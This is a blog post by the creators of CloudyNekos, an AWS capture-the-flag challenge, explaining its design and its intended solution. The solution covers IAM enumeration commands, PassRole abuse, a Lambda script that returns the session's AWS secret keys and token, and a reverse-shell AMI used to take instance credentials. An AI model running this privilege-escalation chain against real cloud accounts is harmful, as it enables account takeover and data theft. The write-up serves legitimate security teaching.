TISC CloudyNekos: Creating a CTF challenge with cat pictures

Glenice
CSG @ GovTech
Published in
7 min readNov 1, 2022

By Tan Kee Hock, Glenice Tan

As part of a cross-agency collaboration with the Centre for Strategic Infocomm Technologies (CSIT), we had the privilege of submitting a challenge for The InfoSec Challenge (TISC), CSIT’s online cybersecurity challenge.

These types of competitions provide a unique opportunity for interested Singaporeans to demonstrate or hone their hacking prowess. On this note, don’t miss GovTech’s second edition of STACK the Flags on 2–4 December 2022, where CSIT team will be contributing some challenges too!

This also presents a good chance to pen down our thoughts and motivations behind the Cloud challenge we had developed — CloudyNekos. CloudyNekos is a challenge hosted on Amazon Web Service (AWS) cloud environment and consists of misconfigurations that could result in both horizontal and vertical privilege escalation within the cloud environment.

Cloud provides flexibility, scalability and faster innovation for organizations and individuals. It is important to note, however, that cloud service providers often adopt a shared responsibility model with their customers. Though the level of responsibility is dependent on the type of services used i.e., IaaS, PaaS, SaaS, customers are ultimately responsible for the configurations of the resources allocated.

In our field of work, we have seen how things can go wrong in the cloud environment and through our CTF challenge, we aim to share our experience with the community through an interactive medium.

Through CloudyNekos, competitors could understand a little more about the construct of the Cloud environment such as how network traffic is filtered, the types of Identity Access Management (IAM) permissions and misconfigurations, enumeration techniques and possible ways of privilege escalation and/or lateral movement.

We also hope that the cat pictures incorporated in the challenge made the journey fun and enjoyable. After all, having fun is the best way to learn!

While the challenge is no longer live, you may read the rest of the article to experience the challenge and learn more about CloudyNekos!

First things first — the Challenge Statement!

We have received intelligence that Palindrome has started a global computing infrastructure to be made available to its agent to spin up C2 instances. They relied on Cloud Service Providers like AWS to provide computing resources for its agents. Palindrome has its own custom built access system e-service portal that generates short-lived credentials for their agents to use their computing infrastructure. It was said that their access system e-service was disguised as a blog site.

We need your help to access their computing resources and extract any meaningful intelligence for us.

Moving on to the Technical Write-Up

At the start of the challenge, competitors were greeted with a CloudFront site.

The developers had left some notes in the HTML page. An S3 bucket named palindromecloudynekos was listed. The passcode came in handy as the competitors progressed.

Allowing public access is a common S3 bucket misconfiguration. However, it seemed like this was not the case with CloudyNekos.

Instead, palindromecloudynekos was configured to allow access to the Authenticated Users group, allowing any AWS authenticated user in the world to access the hosted resources.

By following the instructions in notes.txt and invoking the API gateway with the necessary headers and passcode, a set of AWS credentials was returned.

The competitors now had access to an AWS account as a user!

Next up — to enumerate the privileges!

From the attached policy, the IAM user had lambda:CreateFunction, lambda:InvokeFunction and iam:PassRole privileges!

{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"iam:GetPolicy",
"iam:GetPolicyVersion",
"iam:ListAttachedRolePolicies",
"iam:ListRoles"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"lambda:CreateFunction",
"lambda:InvokeFunction",
"lambda:GetFunction"
],
"Resource": "arn:aws:lambda:ap-southeast-1:<ACCOUNT_ID>:function:${aws:username}-*"
},
{
"Sid": "VisualEditor2",
"Effect": "Allow",
"Action": [
"iam:ListAttachedUserPolicies"
],
"Resource": "arn:aws:iam:: <ACCOUNT_ID>:user/${aws:username}"
},
{
"Sid": "VisualEditor3",
"Effect": "Allow",
"Action": [
"iam:PassRole"
],
"Resource": "arn:aws:iam:: <ACCOUNT_ID>:role/lambda_agent_development_role"
},
{
"Sid": "VisualEditor4",
"Effect": "Allow",
"Action": [
"ec2:DescribeVpcs",
"ec2:DescribeRegions",
"ec2:DescribeSubnets",
"ec2:DescribeRouteTables",
"ec2:DescribeSecurityGroups",
"ec2:DescribeInstanceTypes",
"iam:ListInstanceProfiles"
],
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2022-10-08T04:23:06+00:00"
}
}

These permissions allowed privilege escalation. The policy could be obtained using the following command:

aws iam get-policy-version --policy-arn arn:aws:iam::<Account ID>:policy/user-58fabf8c8e164d1981839141d1d97c74 --version-id v1 --profile tisc-user

Note that the username (i.e., user-58fabf8c8e164d1981839141d1d97c74) was randomly generated by the access system.

Since the user was granted iam:PassRole on lambda_agent_development_role, let’s check out what were the permissions of the role.

From the policy attached to lambda_agent_development_role, the competitors could launch a new EC2 instance and pass it the ec2_agent_role.

{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"ec2:RunInstances",
"ec2:CreateVolume",

"ec2:CreateTags"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"lambda:GetFunction"
],
"Effect": "Allow",
"Resource": "arn:aws:lambda:ap-southeast-1:<ACCOUNT ID>:function:cat-service"
},
{
"Action": [
"iam:PassRole"
],
"Effect": "Allow",
"Resource": "arn:aws:iam:: :<ACCOUNT ID>:role/ec2_agent_role",
"Sid": "VisualEditor2"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2022-10-08T04:02:55+00:00"
}
}

The policy attached to ec2_agent_role was:

{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"dynamodb:DescribeTable",
"dynamodb:ListTables",
"dynamodb:Scan",
"dynamodb:Query"

],
"Effect": "Allow",
"Resource": "*",
"Sid": "VisualEditor0"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2022-10-08T04:02:33+00:00"
}
}

A hint was also included in the source code of the cat-service lambda function that could be extracted using the command:

aws lambda get-function --function-name cat-service --query 'Code.Location' --profile tisc-lambda | xargs wget -O sample_lambda.zip

The source code was as follows:

import boto3def lambda_handler(event, context):

# Work in Progress: Requires help from Agents!

# ec2 = boto3.resource('ec2')
# instances = ec2.create_instances(
# ImageId="???",
# MinCount=1,
# MaxCount=1,
# InstanceType="t2.micro"
#)


return {
'status': 200,
'results': 'This is work in progress. Agents, palindrome needs your help to complete the workflow! :3'
}

As such, the attack path was:

Here’s a sample script to extract AWS temporary credentials from Lambda:

import json
import os
def lambda_handler(event, context):
return json.dumps({
'credentials': {
"AWS_SESSION_TOKEN": os.environ["AWS_SESSION_TOKEN"],
"AWS_SECRET_ACCESS_KEY": os.environ["AWS_SECRET_ACCESS_KEY"],
"AWS_ACCESS_KEY_ID": os.environ["AWS_ACCESS_KEY_ID"]
}
})

Similarly, temporary credentials may also be extracted from EC2. Since the permissions do not allow creation of EC2 key pair, here were some alternatives:

  1. Create a reverse shell service and build a new Amazon Machine Image (AMI)
  2. Create an EC2 instance with a custom script that performs a call-back using the User-Data property.

During our testing, the call-back via User-Data was not as reliable and easy to troubleshoot compared to creating an AMI that initiates a call-back service upon boot.

Once the call-back with an interactable shell on the EC2 instance returned, the instance profile credentials could be extracted by calling the Instance Meta Data Service (IMDS) directly.

Finally, with the temporary credentials of ec2_agent_role, all that was left was to query the DynamoDB instance and retrieve the flag!

Creating the Challenge

Developing CloudyNekos was challenging and fun. We wanted to make sure that the challenge stayed realistic and provided learning value to the competitors. One of the key challenges we faced was to provide a shared CTF environment that supports concurrent competitors. Ideally, each competitor should have their individual “playground” and avoid affecting the rest. In addition, we also understood that there were default limitations set by AWS on the number of computing resources that could be provisioned in one AWS account (e.g., maximum of 32 CPU units for EC2 instances).

To overcome these limitations, we implemented defensive controls such as EventBridge to invoke our lambda functions to remove resources created by competitors periodically. Additional restrictions were also added in the IAM policies to ensure that the competitors interacted with resources they had created.

During the CTF, we observed interesting behaviours from the competitors that resulted in unintended solutions and reconfigurations of our defensive controls. For example, we noticed the creation of EC2 instances with termination protection! Kudos to whoever you are; it was a smart move! The frequency of resource cleaning also increased as resources were provisioned at an alarming rate during certain peak periods which impacted other competitors.

Conclusion

We learnt a lot along the way — from creating the challenge, to administrating one in the cloud. Being the challenge creators of CloudyNekos gave us the opportunity to explore defensive solutions on AWS and, of course, contribute back to the community.

If you are looking for more Cloud challenges, and adorable cat pictures, don’t worry, we will meet again at STACK The Flags 2022!

For more information about STACK the Flags 2022, and GovTech’s Cybersecurity Competitions (signups are open for our Cybersecurity Hackathon — STACK the Codes too!), head on down to our website at jts.tech.gov.sg.

We hope to see you there!

--

--